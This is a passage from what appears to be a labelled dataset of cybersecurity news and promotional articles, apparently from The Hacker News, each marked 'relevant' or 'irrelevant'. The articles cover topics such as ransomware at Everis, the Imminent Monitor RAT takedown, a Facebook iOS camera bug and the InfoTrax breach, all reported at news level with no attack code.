with GDPR results with fines that can reach 5% of the violating organization's annual revenue. The Comprehensive Compliance Guide enables CISOs to pull up their sleeves and get to work immediately – map out the compliance framework that fits them best and immediately launch an internal assessment process that rapidly yields actionable and conclusive insights on what's working and what should be improved. Download The Comprehensive Compliance Guide here.",irrelevant
"Boost Your Personal Security With These Killer 2019 Black Friday and Cyber Monday Deals If you're like most consumers, you're probably looking forward to the upcoming Black Friday and Cyber Monday sale events. Who wouldn't want to get all sorts of products and services at massive discounts? But while most consumers are typically eyeing personal gadgets and entertainment appliances, you may want to consider scoring deals on personal security software and devices. Everyone's exposed to both digital and real-world threats these days, so investing in capable security solutions is a must. These tools are often expensive, and you should take advantage of discounts and sales to boost your privacy and personal security. As such, we have compiled some of the best deals that can help you better protect yourself. Here are four of the best deals on personal security products and services that you shouldn't miss: PC Security: Reason Antivirus Reason Antivirus Despite today's growing number of hacking incidents, most users don't invest in their digital security. Most still rely on free and standard antivirus software to protect their computers from cyberattacks. Unfortunately, these security measures are insufficient for dealing with today's complex threats, leaving systems and networks vulnerable to attacks that could put user privacy at risk. A robust Antivirus like Reason Cybersecurity can help you keep yourself safe from most digital threats. And the best part is that Reason is now launching a whopping 70% off promotion for the holiday reason. Reason Premium offers a comprehensive personal security suite that includes real-time protection and threat removal. Its detection engine is powered by a database of over a million malware samples, allowing it to accurately detect and remove malware. Reason also has ransomware protection that can block malicious encryption attempts on your computer. In addition, Reason offers essential privacy-focused security features such as webcam and microphone protection that prevent hackers from gaining access to your communication devices and recording your private calls and videos. Users who are looking to equip themselves with a privacy-oriented security suite should consider Reason's Black Friday deal. Subscriptions will be sold at 70% off, making Reason Premium one of the best security apps you can get this sale season. VPN: ExpressVPN ExpressVPN People are still fond of using public Wi-Fi networks despite their general lack of security. Public hotspots are susceptible to hijacking, which allows hackers to intercept any information that you send and receive over the network. To help prevent such hacks, you may use a virtual private network or VPN like ExpressVPN to encrypt your connection. ExpressVPN can also help mask your location by making it appear that you're connected to the internet from some other location. ExpressVPN has over 3,000 servers operating in over 150 cities that you can use to protect your traffic and obscure your IP address. The service also uses AES encryption that makes it extremely difficult for hackers to decipher your traffic. Unlike traditionalVPN providers that use email and mailing forms for inquiries, ExpressVPN also offers a 24/7 live support that can help users solve their issues instantly. ExpressVPN is slightly more expensive than its competitors. Still, its privacy and platform support are one of the best in the market. As such, you might want to take advantage of ExpressVPN's discounted pricing for the holidays. You can now avail 15 months of VPN service for the price of 12 months or $6.67 a month. Password Manager: LastPass lastpass password manager Most hacking-related incidents are also caused by weak or compromised passwords. Unfortunately, the majority of computer users not only use very weak passwords but also reuse them on different accounts. If you're one of those people who use the same credentials across various sites and services, chances are hackers may already have your login information. Creating strong and unique passwords is absolutely necessary for keeping your data protected. However, generating passwords and managing them all can be challenging, especially if you have dozens of online accounts. Fortunately, password managers such as LastPass are now available to help ordinary users organize their access credentials. These applications can help you quickly log in to sites and applications using just one master password. LastPass Premium has a powerful password generator and uses AES encryption and a zero-knowledge model that ensures that your password is secure and extremely difficult to crack. You can also use the two-factor authentication feature to add another layer of password protection. LastPass also has a vault that boasts 1GB of encrypted file storage that you can use to back up your sensitive information. Currently, at $3 per month, LastPass Premium is probably one of the best password managers in its price range. Home Security: Ring amazon ring home security Online security isn't the only thing you should be protecting. You should keep your personal space safe, as well. Despite the decrease in home burglary incidents in recent years, there are still about 2.5 million home break-ins per year, and most of them remain unsolved because of a lack of evidence or witnesses. Thus, installing smart doorbells and cameras that can take videos or snapshots of various parts of your home, such as those offered by Ring, is a worthy investment. For example, Ring's best-selling Video Doorbell 2 is equipped with security features like motion sensors and cameras that can keep an eye on any suspicious individuals lurking on your property. It has infrared LEDs that can record 1080p daytime and clear black-and-white night videos. It also has a mic and a pair of speakers for communication and is equipped with a motion sensor. Non-techies will also have no problem installing the device as it includes an easy-to-follow instructions guide and does not require any rewiring. It will be on sale at various retailers this holiday season. Costco, for instance, will be selling it for just $130 ($60 off). Conclusion Users should adopt a vigilant mindset when it comes to personal security. So rather than focusing too much on all the other Black Friday and Cyber Monday deals, you might as well check out the deals on these security products. The holiday sales events present a great opportunity for you to boost your privacy and safety without breaking the bank. After all, personal security should be your top priority.",irrelevant
"PPT Template: Build Your 2020 Security Plan The end of the year is coming, and it's time for security decision-makers to make plans for 2020 and get management approval. Typically, this entails making a solid case regarding why current resources, while yielding significant value, need to be reallocated and enhanced. The Definitive2020 Security Plan PPT Template is built to simplify this task, providing security decision-makers with an off-the-shelf tool to clearly and easily present their plans and insights to management. While many security decision-makers have the tools and expertise to build their case technologically, effectively communicating their conclusions to the organization's management is a different challenge. Management doesn't think in terms of malware, identity compromise, or zero-day exploits, but in terms of monetary loss and gain: Would investment A in a security product reduce the likelihood of cyberattack derived downtime? Would outsourcing a certain security functionality to a service provider optimize the productivity of the in-house team? If you're the one accountable for security in your organization, you must be able to provide simple answers to these questions. A significant part of this relates to the pros and cons of the current security posture. What was achieved in the passing year didn't happen by chance but was the result of executing a well-defined strategy. Communicating this strategy and its results are paramount to justifying resource reallocation. As a rule of thumb, the more you are able to approximate your insights into absolute black and white terms, the better. In other words, if you want to make a case for enlarging the budget to enable the purchase and deployment of new security technology, the management-bound argument shouldn't be its ability to pinpoint malicious behavior more efficiently than the technology currently in place, but it's ability to prevent the direct and implicit monetary loss your organization suffered from a cyberattack over the past year. While these two arguments seem identical to the security practitioner, they are tremendously different in their ability to capture the mindset of non-security-savvy management. The Definitive2020 Security Plan PPT template enables security pros – CISOs, CIOs, security directors, and others – to easily distill their security knowledge and present the insights and conclusions that speak the management language. The template was built based on feedback from both security stakeholders and management personnel, encompassing the key aspects of presenting an annual plan. Instead of spending valuable time on building their case from scratch, security decision-makers can start from a given infrastructure and focus on filling it in based on their specific needs. The template consists of three integrated parts: Overview of the existing allocation of resources for cybersecurity. This includes implemented technologies in place, the cost of the security team (or of the portion of time IT personnel dedicate to cybersecurity-related tasks), and engagement with 3rd party providers, either on an ongoing basis or per specific event. cyber security plan template Evaluation of the cybersecurity performance under the existing resource allocations. On the success side, it would include indications of attacks that have been prevented or efficiently contained by the products and the security team, together with analysis of the potential damage that was eliminated. On the challenge side, it would include cyberattacks that have caused tangible damage to the organization due to a lack of sufficient technology or security team capacity. Future annual planning that takes the evaluation bottom line and translates it into actionable steps. These may include changes in resource allocation, enlarging the security budget, decisions to add or replace security products, decisions to withdraw from or engage with a security service provider, and any other action that would enhance the security posture to address the gaps that were unveiled in during the evaluation. cyber security plan template As you see, the underlying theme of the template is cost. How much did the organization spend on cybersecurity, how much did this spending pay off in the long run, and how much did the organization lose due to an under fitted security budget. The 2020 Security Plan PPT template is the ideal tool to engage your management and get their approval for your decisions regarding the best security strategy to implement. Download the Definitive2020 Security Plan PPT template here.",irrelevant
"The Hacker News 2020 Cybersecurity Salary Survey – Call for Participation For the first time, The Hacker News launches a comprehensive Cybersecurity Salary Survey aimed to provide insights into the payment standards of security positions, enabling security professionals to benchmark their salaries against their peers, as well as get clear insights into the leading roles, certifications, geo- and industry- components that factor a cybersecurity position payroll. Anyone filling the anonymous salary survey questionnaire will get a free copy of the survey report once it is ready. You can complete the questionnaire here. Volume matters. The more participants in the survey, the more accurate and actionable the results will be. Three minutes of your time is more than enough. Why should you take the survey? If you're in a non-management role (analyst, architect, etc.), you'll know if what you're making is below or above the average. If you're managing a team, you'll get valuable advice on how to best structure compensation plans. Want to advance your career? The survey will show you which certifications and experience best translate into higher payment. Let's look at the benefits you can get from the survey in more detail: ➤ Are you the individual in your organization who's accountable for cybersecurity? Your title might be CISO, Director of Security, or even CIO. You cannot protect your organization single-handedly. At the end of the day, you're as good as your team, making recruiting and retaining talent an imperative. Knowing the standard salary expectations, as well as what's considered a competitive salary, is a must. Already have a fully staffed team? Security skills are in high demand, and there are good chances that other organizations approach your team – you'd better make sure that their compensation acts as an incentive to stay. ➤ Are you starting your journey as a security hands-on practitioner? Know what you are worth, and even more importantly, what can factor into your potential salary scope. Do you know what the security certifications are that best translate into a higher income? What skills within the cybersecurity domain would you invest in to increase your payroll? This knowledge is essential for the best planning of your career and professional specialization. ➤ Seasoned security professional recalculating your onward route? If that's the case, you should know the pros and cons of your various alternatives. What pays off better – becoming one of the sought-after individuals that can reverse engineer malware and conduct a thorough forensic analysis process, or moving to a management position and leading a SOC? Does your organization's industry make a difference or the size of your company? You should be able to give satisfactory answers to these questions to make an informed decision. Access the Cybersecurity Salary Survey here.",irrelevant
"7 Courses That Will Help You Start a Lucrative Career in Information Security As the world becomes more interconnected by the day, more and more companies of all sizes and industries are finding themselves under attack by fearless cybercriminals who can access their entire server farms from across the globe with only a few lines of code. And it's not just private corporations that are suffering. A wide range of government agencies are also constantly under attack, and national security is relying more and more on counter-cyberattack measures to safeguard everything from classified data to entire power grids. So it should come as no surprise that the overarching field of information security is booming, and those with the skills to thwart and retaliate against a growing number of sophisticated cyber threats are in high-demand across countless industries. The Complete Information Security Certification Bundle will help you join this lucrative field, and it's currently available for over 95% off at just $31. With 7 courses and over 80 hours of in-depth training, this bundle will teach you both the fundamentals and more advanced elements of the interconnected worlds of information security, cloud security, and cybersecurity. Ethical Hacker Boot Camp: Get a Hands-On Hacking Education & Break Into a Booming Industry Certified Cloud Security Professional: CCSP Pass the CCSP Exam On Your First Try Information Security Management Fundamentals: Learn How to Protect Yourself & Corporate Information from Hackers NGINX: Beginner to Advanced 2019: Beginner's Guide to Master the HTTP Protocol & NGINX Docker Certified Associate 2019: Prepare for the Docker Certified Associate Certification Exam Splunk: Beginner to Architect 2019: The All-in-One Course to Mastering Splunk AWS Certified Solutions Architect - Associate Certification 2019: Study to Earn One of Today's Most Important Cloud Computing Certifications You'll learn how to build and set up a series of complex firewalls that can thwart attacks from hackers, how to retaliate against a wide range of hacks, how to implement safeguards on server infrastructures, how to test for vulnerabilities in networks, and more. There's also material that will help you ace the exams for some of the fields most important certifications—including: AWS Certified Solutions Architect Certified Cloud Security Professional certifications Get the skills and credentials you need to join the booming field of information security with the Complete Information Security Certification Bundle for just $31—over 95% off its usual price for a limited time. Prices are subject to change. Like this deal? Check out Vault — you'll get four premium tools, including NordVPN and Dashlane, to supercharge your online security. Enter code VAULTONE to try it out for just $1!",irrelevant
"Explained: How New 'Delegated Credentials' Boosts TLS Protocol Security Mozilla, in partnership with Facebook, Cloudflare, and other IETF community members, has announced technical specifications for a new cryptographic protocol called ""Delegated Credentials for TLS."" Delegated Credentials for TLS is a new simplified way to implement ""short-lived"" certificates without sacrificing the reliability of secure connections. In short, the new TLS protocol extension aims to effectively prevent the misuse of stolen certificates by reducing their maximum validity period to a very short span of time, such as a few days or even hours. Before jumping into how Delegated Credentials for TLS works, you need to understand the current TLS infrastructure, and of course, about the core problem in it because of which we need Delegated Credentials for TLS. The Current TLS Infrastructure More than 70% of all websites on the Internet today use TLS certificates to establish a secure line of HTTPS communication between their servers and visitors, ensuring the confidentiality and integrity of every bit and byte of data being exchanged. Websites obtain a TLS certificate from a Certificate Authority (CA) that must be trusted by all major web browsers. CA organization digitally signs a certificate that remains only valid for a specific period, typically for a year or two. When you connect to an HTTPS-protected website, the server provides its TLS certificate to your web browser for confirming its identity before exchanging any information that could include your passwords and other sensitive data. Ideally, certificates are expected to be used for their entire validity period, but unfortunately, a certificate can go bad before its expiration date for many reasons. For example, the secret private key corresponding to a certificate can be stolen, or the certificate can be issued fraudulently, allowing an attacker to impersonate a targeted server or spy on encrypted connections through a man-in-the-middle attack. Moreover, big tech companies like Facebook, Google, and Cloudflare offer their services from thousands of servers implemented worldwide. They distribute private certificate keys to each one of them, a process where the risk of compromise is higher than usual. Problem: Why We Need Delegated Credentials For TLS? If a certificate gets compromised before its expiration date, the only option a website operator currently has is to request the certificate authority to revoke the stolen certificate and reissue a new one with a different private key. However, unfortunately, the current revocation mechanisms are also broken in practice. Ideally, browsers should be able to promptly detect no-longer-trusted certificates to proactively prevent their users from further connecting to a compromised server until it gets back online with a new valid certificate. But since frequently querying a CA server imposes a massive performance penalty on the web traffic, modern browsers either use cached validation status of a certificate for some time or assume that it is still valid in case the browser doesn't receive a response from the CA on time or encounter any connection error. That means that an attacker can launch cyberattacks against a targeted website only in the time frame between the revocation of its stolen certificate and when the browsers learn about it and block it. In an attempt to further reduce this sensitive time frame, some companies have started experimenting with certificates with a shorter validation period, after which browsers itself reject them instead of waiting for the revocation signal. Facebook is also among those companies that use this approach, as the company explains: ""The shorter the certificate lifetime, the less likely a certificate will need to be revoked before it expires. We have shortened the validity lifetime of our certificates from the current industry standard of one year to just a few months."" ""This boosts our security by reducing the period during which a potential attacker could use a compromised certificate."" However, since CA is a separate organization and a website server would need to fetch new certificates from them much more frequently, there is no reliable way available for the companies to continuously rotate certificates after every few hours or days. ""However, constant communication with an external CA to obtain short-lived certificates could result in poor performance or even worse, lack of access to a service entirely,"" Firefox warned. ""To mitigate this risk, services like ours [Facebook] generally opt for longer expiration time, so there is time to recover from any failures,"" Facebook said. Solution: How Does 'Delegated Credentials for TLS' Work? Finally, let's talk about the solution. To solve the issues mentioned above, IETF community members have now proposed Delegated Credentials for TLS, a new cryptographic protocol that balances the trade-off between lifetime and reliability. delegated credentials for tls explained Delegated Credentials for TLS allows companies to take partial control over the process of signing new certificates for themselves—with a validity period of no longer than 7 days and without entirely relying on the certificate authority. ""Delegated Credentials permit holders of specially-enrolled certificates to use those certs as a kind of sub-sub-CA to construct sub-certificates whose authority is delegated by the actual end-entity cert,"" said J.C. Jones, cryptography engineering lead at Mozilla. ""These delegated certificates are particularly useful when needing to act on behalf of the end-entity in lower-trust environments, like those sometimes found in CDN edge networks."" In layman's terms, a company can obtain a signed ""leaf certificate"" from its certificate authority, using which it can then generate and sign a delegated credential with an expiration time as little as a few hours. On the client-side, browsers and software supporting the new protocol would use the public key of the short-lived delegated credential of a website to establish a secure TLS connection with its server. So instead of deploying the actual private key associated with the certificate to all servers, companies can now internally create, deploy, and issue delegated credentials. ""It is much easier for a service to create delegated credential than a certificate signed by a CA,"" IETF draft says. ""Operators can issue each of their servers a separate delegated credential with a short validity time, instead of the real certificate private key, to add defense-in-depth,"" Facebook said. Let's wrap it up: When you connect to a website with a browser that supports delegated credentials, then instead of using the regular TLS certificate, the server provides a short-lived token to your browser for authentication, which satisfies the chain of trust because delegated credentials are still signed by the certificate obtained from the CA. ""Since the delegated credential has its own public key, a server can also experiment with new public key algorithms for TLS (including Ed25519 public keys) even before CAs support it,"" Facebook said. ""A fresh delegated credential can be created and pushed out to TLS servers long before the previous credential expires. Momentary blips in availability will not lead to broken handshakes for clients that support delegated credentials,"" Cloudflare said. Support for Delegated Credentials Facebook has already added support for Delegated Credentials in Fizz library, its open source implementation of TLS 1.3 designed for performance and security. Google's open source fork of OpenSSL, BoringSSL, also supports Delegated Credentials for TLS protocol. As one of the partners in standardizing the protocol, the Mozilla now supports Delegated Credentials in the latest version of Firefox web browser. firefox delegated credentials for tls Though the feature is not enabled by default at this moment, users can turn it on by navigating to about:config → search for the ""security.tls.enable_delegated_credentials"" preference → double click on it to set its value to true. To test if your browser supports Delegated Credentials for TLS, you can visit the following sites: fbdelegatedcredentials.com ← By Facebook kc2kdm.com/delegated.html ← By Mozilla",irrelevant
"Europol Shuts Down 'Imminent Monitor' RAT Operations With 13 Arrests In a coordinated International law enforcement operation, Europol today announced to shut down the global organized cybercrime network behind Imminent Monitor RAT, yet another hacking tool that allows cybercriminals to gain complete control over a victim's computer remotely. The operation targeted both buyers and sellers of the IM-RAT (Imminent Monitor Remote Access Trojan), which was sold to more than 14,500 buyers and used against tens of thousands of victims across 124 countries. The infrastructure and front-end sale website of the Imminent Monitor have also been seized as part of this operation, making the Trojan unusable for those who already bought it, as well as unavailable for the new users. Promoted as a legitimate remote administration framework, the hacking tool was widely used to unauthorisedly access targeted users' computers and steal their login credentials for online banking and other financial accounts. According to Europol's press release, authorities also executed search warrants in June this year against the developer and an employee of IM-RAT in Australia and Belgium, likely with an aim to identify re-sellers and users of the tool. Moreover, 13 of the most prolific customers of IM-RAT were also arrested in Australia, Colombia, Czechia, the Netherlands, Poland, Spain, Sweden, and the United Kingdom. remote access trojan The law enforcement officials have also seized more than 430 devices from the customers and continued forensic analysis of a large number of computers and IT equipment. Once installed, IM-RAT gives attackers full control over victims' computers, allowing them to carry out various malicious actions, listed below, without the victims' knowledge: recording keystrokes, stealing data and passwords from browsers, spying on victims via their webcams, download/execute files, disabling anti-virus and anti-malware software, terminate running processes, and perform dozens of other actions. IM-RAT was considered to be a dangerous threat due to its features, ease of use, and low cost of as little as $25 with lifetime access. ""We now live in a world where, for just US$25, a cybercriminal halfway across the world can, with just a click of the mouse, access your personal details or photographs of loved ones or even spy on you,"" says Steven Wilson, Head of Europol's European Cybercrime Centre (EC3). ""The global law enforcement cooperation we have seen in this case is integral to tackling criminal groups who develop such tools. It is also important to remember that some basic steps can prevent you from falling victim to such spyware: we continue to urge the public to ensure their operating systems and security software are up to date."" The law enforcement believes that the number of IM-RAT victims falls in tens of thousands, with ""investigators having already identified evidence of stolen personal details, passwords, private photographs, video footage, and data."" In a similar joint operation by International law enforcement agencies, the cybercrime network of another remote access Trojan, called Luminosity Link, was also dismantled two years ago. In Luminosity Link case, a 21-year-old developer of the tool was arrested and sentenced to 30 months in prison for his role in unlawfully accessing computers, money laundering, and illegal removal of property to prevent its lawful seizure. To avoid falling victims to such threats, individual users and organizations are recommended to follow some necessary measures, such as keeping all your software up-to-date, configuring a firewall correctly, avoid opening suspicious email attachments or URLs, and always using strong, unique passwords for different online accounts.",irrelevant
"Targeted Ransomware Attacks Hit Several Spanish Companies Everis, one of the largest IT consulting companies in Spain, suffered a targeted ransomware attack on Monday, forcing the company to shut down all its computer systems until the issue gets resolved completely. Ransomware is a computer virus that encrypts files on an infected system until a ransom is paid. According to several local media, Everis informed its employees about the devastating widespread ransomware attack, saying: ""We are suffering a massive virus attack on the Everis network. Please keep the PCs off. The network has been disconnected with clients and between offices. We will keep you updated."" ""Please, urgently transfer the message directly to your teams and colleagues due to standard communication problems."" According to cybersecurity consultant Arnau Estebanell Castellví, the malware encrypted files on Everis's computers with an extension name resembling the company's name, i.e., "".3v3r1s,"" which suggests the attack was highly targeted. At this moment, it's unknown which specific ransomware family was used to target the company, but the attackers behind the attack reportedly demanded €750,000 (~USD 835,000) in ransom for the decryptor, a company insider informed bitcoin.es site. However, considering the highly targeted nature of the attack, the founder of VirusTotal in a tweet suggests the type of ransomware could be BitPaymer/IEncrypt, the same malware that was recently found exploiting a zero-day vulnerability in Apple's iTunes and iCloud software. Here's the ransomware message that was displayed on the screens of the infected computers across the company: Hi Everis, your network was hacked and encrypted. No free decryption software is available on the web. Email us at sydney.wiley@protonmail.com or evangelina.mathews@tutanota.com to get the ransom amount. Keep our contacts safe. Disclosure can lead to the impossibility of decryption. What's more? It seems like Everis is not the only company that suffered a ransomware attack this morning. Some other Spanish and European companies have reportedly also been hit by a similar ransomware malware during the same period, of which the national radio network La Cadena SER has confirmed the cyber attack. ""The SER chain has suffered this morning an attack of a computer virus of the ransomware type, file encrypter, which has had a serious and widespread affectation of all its computer systems,"" the company said. ""Following the protocol established in cyberattacks, the SER has seen the need to disconnect all its operating computer systems."" The company has also informed that its ""technicians are already working for the progressive recovery of the local programming of each of their stations."" At the time of writing, it's unclear if the hackers behind these ransomware attacks are the same, how the malware infiltrated the companies in the first place and did it contain wormable capabilities to successfully spread itself across the network. Though it's unconfirmed, some people familiar with the incident also suspect attackers might have used the BlueKeep RDP vulnerability to compromise the company's servers, whose first mass exploitation activity was spotted in the wild just yesterday in a separate campaign. The Hacker News is in contact with some of the targeted company's employees and will update you with more information about the incident shortly. Meanwhile, the Spanish Department of Homeland Security has also issued a warning about the ongoing cyber attack and recommended users to follow basic security practices like keeping their systems updated and having a proper backup of their important data.",irrelevant
"Is Facebook Secretly Accessing Your iPhone's Camera? Some Users Claimed It appears that Facebook at the center of yet another issue involving privacy. Reportedly, multiple iPhone users have come forward on social media complaining that the Facebook app secretly activates their smartphone's camera in the background while they scroll through their Facebook feeds or looking at the photos on the social network. As shown in the Twitter videos below, when users click on an image or video on the social media to full screen and then return it back to normal, an issue with the Facebook app for iOS slightly shifts the app to the right. It opens a space on the left from where users can see the iPhone's camera activated in the background. However, at this moment, it's not clear if it's just an UI bug where Facebook app incorrectly but only accesses the camera interface, or if it also records or uploads something, which, if proven right, would be the most disastrous moment in Facebook's history. The issue immediately got the attention of other Facebook users, many of them tried reproducing the issue but failed, which likely suggests the buggy software update has not been rolled out to everyone worldwide and might affect a fraction of Facebook users only. The Hacker News was also not independently able to reproduce the bug and, thus, can not verify the authenticity, extent and severity of the issue. Joshua Maddux, one of the users who discovered this bug, claimed that he tested and was able to replicate it on at least 5 different iPhones running iOS 13.2.2, which is the latest iOS version. ""I will note that iPhones running iOS 12 don't show the camera but not to say that it's not being used,"" Maddux said. Some users also tested the issue after revoking camera permissions from Facebook, and they found that the background space was just a black screen in that case. Since none of the Android users has yet noticed or complained about a similar flaw in Facebook, it seems like the bug only affects some Facebook for iOS users. The news came less than a week after Facebook admitted that roughly 100 app developers might have improperly accessed its users' data in certain Facebook groups, including their names and profile pictures. We've reached out to Facebook for more information, and if we hear back from them, we'll update this post. Update - It's a bug, Facebook confirmed! A spokesperson for the Facebook confirmed The Hacker News that it's indeed a bug, saying: ""We recently discovered that version 244 of the Facebook iOS app would incorrectly launch in landscape mode. In fixing that issue last week in v246 (launched on November 8th) we inadvertently introduced a bug that caused the app to partially navigate to the camera screen adjacent to News Feed when users tapped on photos. We have seen no evidence of photos or videos being uploaded due to this bug. We're submitting the fix for this to Apple today."" ""Triggering this bug activated the camera preview, and once triggered, the preview remained active until you tapped elsewhere in the app. At no point was the preview content stored by the app or uploaded to our servers,"" Guy Rosen, VP Integrity at Facebook said. ""We've confirmed that we didn't upload anything to FB due to this bug and that the camera didn't capture anything since it was in preview mode. We've submitted a fixed version to the App Store which is already rolling out."" Found this article interesting? Follow THN on Facebook, Twi",relevant
"New Group of Hackers Targeting Businesses with Financially Motivated Cyber Attacks Security researchers have tracked down activities of a new group of financially-motivated hackers that are targeting several businesses and organizations in Germany, Italy, and the United States in an attempt to infect them with backdoor, banking Trojan, or ransomware malware. Though the new malware campaigns are not customized for each organization, the threat actors appear to be more interested in businesses, IT services, manufacturing, and healthcare industries who possess critical data and can likely afford high ransom payouts. According to a report ProofPoint shared with The Hacker News, the newly discovered threat actors are sending out low-volume emails impersonating finance-related government entities with tax assessment and refund lured emails to targeted organizations. ""Tax-themed Email Campaigns Target 2019 Filers, finance-related lures have been used seasonally with upticks in tax-related malware and phishing campaigns leading up to the annual tax filing deadlines in different geographies,"" the researchers said. New Malware Campaigns Spotted in the Wild In almost all spear-phishing email campaigns researchers observed between October 16 and November 12 this year, the attackers used malicious Word document attachments as an initial vector to compromise the device. microsoft word macro malware Once opened, the malicious document executes a macro script to run malicious PowerShell commands, which then eventually downloads and installs one of the following payloads onto the victim's system: Maze Ransomware, IcedID Banking Trojan, Cobalt Strike backdoor. 'Opening the Microsoft Word Document and enabling macros installs Maze ransomware on the user's system, encrypting all of their files, and saves a ransom note resembling the following in TXT format in every directory.' Besides using social engineering, to make their spear-phishing emails more convincing, attackers are also using lookalike domains, verbiage, and stolen branding to impersonate: Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, Agenzia Delle Entrate, the Italian Revenue Agency, 1&1 Internet AG, a German internet service provider, USPS, the United States Postal Service. ""Similar campaigns leveraging local gov. agencies were also observed in Germany and Italy. These social-engineered lures indicate that cybercriminals overall are becoming more convincing and sophisticated in their attacks."" ""Although these campaigns are small in volume, currently, they are significant for their abuse of trusted brands, including government agencies, and for their relatively rapid expansion across multiple geographies. To date, the group appears to have targeted organizations in Germany, Italy, and, most recently, the United States, delivering geo-targeted payloads with lures in local languages,"" Christopher Dawson, Threat Intelligence Lead at Proofpoint, told The Hacker News. ""We will be watching this new actor closely, given their apparent global aspirations, well-crafted social engineering, and steadily increasing scale."" How to Protect Email-Based Cyber Attacks? Thought most of the tools and techniques used by this new group are neither new nor sophisticated; unfortunately, it's still one of the most successful ways criminals penetrate an organization. The best ways to protect your computer against such attacks are as simple as following basic online cybersecurity practices, such as: Disable macros from running in office files, Always keep a regular backup of your important data, Make sure you run one of the best antivirus software on your system, Don't open email attachments from unknown or untrusted sources, Don't click on the links from unknown sources.",relevant
"Over 12,000 Google Users Hit by Government Hackers in 3rd Quarter of 2019 As part of its active efforts to protect billions of online users, Google identified and warned over 12,000 of its users who were targeted by a government-backed hacking attempt in the third quarter of this year. According to a report published by Google's Threat Analysis Group (TAG), more than 90 percent of the targeted users were hit with ""credential phishing emails"" that tried to trick victims into handing over access to their Google account. Google's TAG tracks over 270 government-backed hacking groups from over 50 countries that are involved in intelligence collection, stealing intellectual property, destructive cyber attacks, targeting dissidents, journalists, and activists, or spreading coordinated disinformation. The alerts were sent to targeted users between July and September 2019, which is consistent within a +/-10 percent range of the number of phishing email warnings sent in the same period of 2018 and 2017, the company said. These warnings usually get sent to the potential targets, which generally are activists, journalists, policy-makers, and politicians. However, if you have received any such alert, do not freak out straight away — it doesn't necessarily mean that your Google account has been compromised. google government hacking Instead, it means a state-sponsored hacker has tried to gain access to your Google account using phishing, malware, or another method, and you should take a few extra steps to secure your account. ""We encourage high-risk users—like journalists, human rights activists, and political campaigns—to enroll in our Advanced Protection Program (APP), which utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings. APP is designed specifically for the highest-risk accounts,"" Google said. While the government-backed phishing attack warnings were sent to affected users in 149 countries, the United States, Pakistan, South Korea, and Vietnam being the most heavily targeted ones, according to the map shared by Google. Google has been warning individual Google account users since 2012 if the company believes government-backed hackers are targeting their account via phishing, malware, or some other tactics. Just last year, Google also started offering these email attack alerts to G Suite administrators so they can take action to protect their users and so their organization as well. High-risk users can take some necessary security measures that will help prevent compromise of their accounts, including keeping their apps and software up-to-date and enabling 2-step verification (Google recommends its Authenticator app or a Security Key as the best methods than regular old text message).",irrelevant
"Google offers up to $1.5 million bounty for remotely hacking Titan M chip With its latest announcement to increase bug bounty rewards for finding and reporting critical vulnerabilities in the Android operating system, Google yesterday set up a new challenging level for hackers that could let them win a bounty of up to $1.5 million. Starting today, Google will pay $1 million for a ""full chain remote code execution exploit with persistence which compromises the Titan M secure element on Pixel devices,"" the tech giant said in a blog post published on Thursday. Moreover, if someone manages to achieve the same in the developer preview versions of Android, Google will pay an additional $500,000, making the total to $1.5 million—that's 7.5 times more than the previous top Android reward. Introduced within the Pixel 3 smartphones last year, Google's Titan M secure element is a dedicated security chip that sits alongside the main processor, primarily designed to protect devices against the boot-time attacks. In other words, Titan M chip is a separate hardware component to Android Verified Boot that also takes care of sensitive data, lock-screen passcode verification, factory-reset policies, private keys, and also offers secure API for critical operations like payment and app transactions. Considering this, it's usually tough to find a 1-click remote code execution exploit chain on the Pixel 3 and 4 devices, and, until now, only one cybersecurity researcher, Guang Gong of Qihoo 360, has been able to do that. google pixel titan m chip ""Guang Gong was awarded $161,337 from the Android Security Rewards program and $40,000 by Chrome Rewards program for a total of $201,337,"" Google said. ""The $201,337 combined reward is also the highest reward for a single exploit chain across all Google VRP programs."" Moreover, Google also said the company has paid out a total of $1.5 million in 2019 as part of its bug bounty program, with an average bounty of more than $15,000 per security researcher. In addition to RCE exploits for Pixel Titan M, Google has also introduced two new categories of exploits to its rewards program—data exfiltration and lockscreen bypass vulnerabilities—which will reward up to $500,000 for depending on the exploit category. Google's expanded Android reward program came over two months after third-party exploit vendor Zerodium announced to pay up to $2.5 million for ""full chain, zero-click, with persistence"" Android zero-days, which was a straight 12x jump from its previous price tag of $200,000.",irrelevant
"Company Detected Years-Long Breach Only After Hacker Maxed Out Servers' Storage What could be even worse than getting hacked? It's the ""failure to detect intrusions"" that always results in huge losses to the organizations. Utah-based technology company InfoTrax Systems is the latest example of such a security blunder, as the company was breached more than 20 times from May 2014 until March 2016. What's ironic is that the company detected the breach only after it received an alert that its servers had reached maximum storage capacity due to a data archive file that the hacker created. InfoTrax Systems is an American company based in Utah that provides backend operations systems to multi-level marketers, which also includes an extensive amount of sensitive data on their users' compensation, inventory, orders, and accounting. The breach reportedly occurred in May 2014 when the hacker exploited vulnerabilities in InfoTrax's server and its client's website to gain remote control over its server, allowing him to gain access to sensitive personal information for 1 million consumers. At the time, the United States Federal Trade Commission (FTC) sued the company for failing to safeguard the personal information the company maintained on behalf of its clients. According to the FTC complaint, the hacker remotely accessed the system 17 times over the next 21 months without being detected and then began pulling the personal information of consumers on March 2, 2016. The stolen information included customers' full names, social security numbers, physical addresses, email addresses, telephone numbers, usernames, and passwords for 4100 distributor and admin accounts on the InfoTrax service. hacking What's even worse? The leaked data also included some customers' payment card information (full or partial credit card and debit card numbers, CVVs, and expiration dates), as well as bank account information, including account and routing numbers. The company discovered the breach on March 7, 2016, when it began receiving alerts that one of its servers had reached its maximum capacity, which was due to a massive data archive file that the hacker created on its customers. Surprisingly, the intruder managed to breach the company at least two more times even after InfoTrax Systems became aware of the intrusion. On March 14, 2016, the hacker harvested over 2300 unique, full payment card numbers—including names, physical addresses, CVVs, and expiration dates—and other billing data newly submitted by distributors during the checkout process. Then again, on March 29, 2016, the hacker used the user ID and password of a valid InfoTrax distributor account to upload more malicious code to collect newly submitted payment card data from that client's website again. According to the FTC, InfoTrax Systems failed to ""inventory and delete personal information is no longer needed, conduct code review of its software and testing of its network, detect malicious file uploads, adequately segment its network, and implement cybersecurity safeguards to detect unusual activity on its network."" On Tuesday, the FTC published a press release, announcing a proposed settlement, which requires InfoTrax Systems to implement a comprehensive data security program that corrects the failures identified in the complaint. Besides this, the proposed settlement also requires InfoTrax Systems to obtain third-party assessments of its information security program every two years.",relevant
